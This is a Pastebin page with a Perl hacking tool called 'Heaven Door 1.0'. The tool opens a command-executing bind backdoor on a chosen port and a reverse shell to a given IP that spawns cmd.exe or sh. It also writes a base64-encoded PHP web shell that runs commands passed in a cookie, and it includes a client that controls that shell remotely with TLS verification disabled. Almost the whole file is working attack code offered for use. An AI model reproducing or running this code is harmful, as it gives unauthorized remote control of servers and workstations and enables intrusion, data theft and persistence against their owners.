Advertisement
Doddy

[Perl] Heaven Door 1.0

Oct 13th, 2016
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6.52 KB | None | 0 0
  1. # !usr/bin/perl
  2. # Heaven Door 1.0
  3. # (C) Doddy Hackman 2016
  4.  
  5. use LWP::UserAgent;
  6. use MIME::Base64;
  7. use IO::Socket;
  8. use IO::Socket::SSL;
  9. use Cwd;
  10. use Getopt::Long;
  11. use Color::Output;
  12. Color::Output::Init;
  13.  
  14. GetOptions(
  15.     "backdoor"   => \$backdoor,
  16.     "reverse"   => \$reverse,
  17.     "ip=s"   => \$ip,
  18.     "port=s"   => \$port,
  19.     "generate_backdoor"  => \$generate_backdoor,
  20.     "filename=s"  => \$filename,
  21.     "connect_backdoor"   => \$connect_backdoor,
  22.     "url=s"   => \$url
  23. );
  24.  
  25. head();
  26.  
  27. if ($backdoor) {
  28.     if($backdoor && $port) {
  29.         backdoor($port);
  30.     } else {
  31.         sintax();
  32.     }  
  33. }
  34. elsif ($reverse) {
  35.     if($reverse && $ip && $port) {
  36.         reverse_shell($ip,$port);
  37.     } else {
  38.         sintax();
  39.     }
  40. }
  41. elsif ($generate_backdoor) {
  42.     if($filename) {
  43.         cargar_generador_backdoor($filename);
  44.     } else {
  45.         sintax();
  46.     }
  47. }
  48. elsif ($connect_backdoor) {
  49.     if($url) {
  50.         cargar_consola_backdoor($url);
  51.     } else {
  52.         sintax();
  53.     }
  54. }
  55. else {
  56.     sintax();
  57. }
  58.  
  59. copyright();
  60.  
  61. # Functions
  62.  
  63. # Simple backdoor
  64.  
  65. sub backdoor {
  66.    
  67.     my($port) = @_;
  68.    
  69.     $backdoor = IO::Socket::INET->new(Proto=> 'tcp',LocalPort =>$port,Listen=> SOMAXC,Reuse=> 1);
  70.  
  71.     printear("[+] Heaven_Door : ");
  72.     print "Online\n";
  73.     printear("[+] Port : ");
  74.     print "$port\n";
  75.     printear("[+] PID : ");
  76.     print "$$\n\n";
  77.    
  78.     printear_titulo("[+] Connected");
  79.  
  80.     while ($jesus = $backdoor->accept()) {
  81.         $jesus->autoflush(1);
  82.         print $jesus "[+] Heaven_Door : Online\n[+] Port : 25256\n[+] PID : ".$$."\n\n";
  83.         print $jesus "Welcome  ".$jesus->peerhost."\n\n";
  84.         &extras;
  85.         $dir = getcwd();
  86.         print $jesus $dir.">>";
  87.         while (<$jesus>) {
  88.             my $yeah = qx($_);
  89.             print $jesus "\n\n".$yeah."\n\n";
  90.             print $jesus $dir.">>";
  91.         }
  92.     }
  93.  
  94.     sub extras {
  95.  
  96.         if ($^O =~/Win32/ig) {
  97.             use if $^O eq "MSWin32", "Win32";
  98.             print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
  99.             print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
  100.             print $jesus "[+] Username : ".Win32::LoginName()."\n\n";
  101.         } else {
  102.             $output =  `uname -a`;
  103.             print $jesus "--==System Info==--\n\n".$output."\n";
  104.         }
  105.     }
  106.    
  107. }
  108.  
  109. #
  110.  
  111. # Reverse Shell
  112.  
  113. sub reverse_shell {
  114.     my($ip,$port) = @_;
  115.     printear_titulo("[+] Reverse Shell : ");
  116.     print "Loaded\n\n";
  117.     printear("[+] IP to connect : ");
  118.     print $ip."\n";
  119.     printear("[+] Port : ");
  120.     print $port."\n\n";
  121.     printear_logo("[+] Connecting ...\n\n");
  122.     socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  123.     connect(REVERSE, sockaddr_in($port,inet_aton($ip)));
  124.     printear_titulo("[+] Reverse Shell successful\n\n");
  125.     open (STDIN,">&REVERSE");
  126.     open (STDOUT,">&REVERSE");
  127.     open (STDERR,">&REVERSE");
  128.     tipo();
  129.     printear_logo("[+] Disconnecting ...\n\n");
  130. }
  131.  
  132. sub tipo {
  133.     if ($^O =~/Win32/ig) {
  134.         infowin();
  135.     system("cmd.exe");
  136.     } else {
  137.         infolinux();
  138.         system("export TERM=xterm;exec sh -i");
  139.     }
  140. }
  141.  
  142. sub infowin {
  143.     use if $^O eq "MSWin32", "Win32";
  144.     print "[+] Domain Name : ".Win32::DomainName()."\n";
  145.     print "[+] OS Version : ".Win32::GetOSName()."\n";
  146.     print "[+] Username : ".Win32::LoginName()."\n\n";
  147. }
  148.  
  149. sub infolinux {
  150.     print "[+] System information\n\n";
  151.     system("uname -a");
  152.     print "\n";
  153. }
  154.  
  155. #
  156.  
  157. # More Functions
  158.  
  159. sub cargar_consola_backdoor {
  160.     printear("[+] Checking Backdoor ...\n\n");
  161.     my $check1 = cargar_comando($url,"ver");
  162.     my $check2 = cargar_comando($url,"uname -a");
  163.     if(check_backdoor($check1) or check_backdoor($check2)) {
  164.         printear_logo("[+] Backdoor Loaded\n");
  165.         my($url) = @_;
  166.         while(1) {
  167.             printear("\n[+] Command : ");
  168.             chomp( my $comando = <stdin> );
  169.             if ( $comando =~ /exit/ ) {
  170.                 copyright();
  171.             }
  172.             my $code = cargar_comando($url,$comando);
  173.             if(check_backdoor($code)) {
  174.                 my $output = extract_command_backdoor($code);
  175.                 if($output ne "") {
  176.                     printear_titulo("\n".$output."\n");
  177.                 } else {
  178.                     printear_titulo("\n"."[-] Invalid command"."\n");  
  179.                 }
  180.             } else {
  181.                 printear_titulo("\n"."[-] Invalid command"."\n");
  182.             }
  183.         }
  184.     } else {
  185.         printear_logo("[+] Backdoor not exists\n");
  186.     }
  187. }
  188.  
  189. sub check_backdoor {
  190.     my $text = shift;
  191.     if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
  192.         return 1;
  193.     } else {
  194.         return 0;
  195.     }
  196. }
  197.  
  198. sub extract_command_backdoor {
  199.     my $text = shift;
  200.     if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
  201.         return $1;
  202.     } else {
  203.         return "";
  204.     }
  205. }
  206.  
  207. sub cargar_generador_backdoor {
  208.     my $filename = shift;
  209.     if(-f $filename) {
  210.         unlink($filename);
  211.     }
  212.     printear_titulo("[+] Generating backdoor ...\n\n");
  213.     generar_backdoor($filename);
  214.     if(-f $filename) {
  215.         printear("[+] Backdoor $filename generated !\n");
  216.     } else {
  217.         printear("[-] Error generating backdoor\n");
  218.     }
  219. }
  220.  
  221. sub generar_backdoor {
  222.     my $filename = shift;
  223.     my $code = "PD9waHAgaWYgKGlzc2V0KCRfQ09PS0lFWyJoZWF2ZW5fZG9vcl9oZXJlIl0pICYmICFlbXB0eSgkX0NPT0tJRVsiaGVhdmVuX2Rvb3JfaGVyZSJdKSkgeyAJJGNvZGUgPSAiIjsgCSRvdXRwdXQgPSAiIjsgCWV4ZWMoJF9DT09LSUVbImhlYXZlbl9kb29yX2hlcmUiXSwkY29kZSk7IAlmb3JlYWNoICgkY29kZSBhcyAkbGluZSkgeyAJCSRvdXRwdXQgPSAkb3V0cHV0IC4gJGxpbmUuIlxuIjsgCX0gCWVjaG8gYmFzZTY0X2VuY29kZSgiW2NvZGVfaGVhdmVuXSIuJG91dHB1dC4iWy9jb2RlX2hlYXZlbl0iKTsgfSA";
  224.     savefile($filename,decode_base64($code));
  225. }
  226.  
  227. sub cargar_comando {
  228.     my($url,$command) = @_;
  229.     my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
  230.     $nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  231.     $nave->timeout(10);
  232.     my $contenido = $nave->get($url,Cookie => "heaven_door_here=".$command)->content;
  233.     return decode_base64($contenido);
  234. }
  235.  
  236. sub savefile {
  237.     my ($filename,$text) = @_;
  238.     open( SAVE, ">>" . $filename );
  239.     print SAVE $text . "\n";
  240.     close SAVE;
  241. }
  242.  
  243. sub printear {
  244.     cprint( "\x036" . $_[0] . "\x030" );
  245. }
  246.  
  247. sub printear_logo {
  248.     cprint( "\x037" . $_[0] . "\x030" );
  249. }
  250.  
  251. sub printear_titulo {
  252.     cprint( "\x0310" . $_[0] . "\x030" );
  253. }
  254.  
  255. sub sintax {
  256.  
  257.     printear("[+] Sintax : ");
  258.     print "perl $0 <option> <value>\n";
  259.     printear("\n[+] Options : \n\n");
  260.     print "-backdoor -port <port> : Enable backdoor in port\n";
  261.     print "-reverse -ip <ip> -port <port> : Get all tags GPS of a image\n";
  262.     print "-generate_backdoor -filename <filename> : Generate backdoor in filename\n";
  263.     print "-connect_backdoor -url <url> : Connect to backdoor in URL\n";
  264.     printear("\n[+] Example : ");
  265.     print "perl heaven_door.pl -reverse -ip 127.0.0.1 -port 666\n";
  266.     copyright();
  267. }
  268.  
  269. sub head {
  270.     printear_logo("\n-- == Heaven Door 1.0 == --\n\n\n");
  271. }
  272.  
  273. sub copyright {
  274.     printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
  275.     exit(1);
  276. }
  277.  
  278. #The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement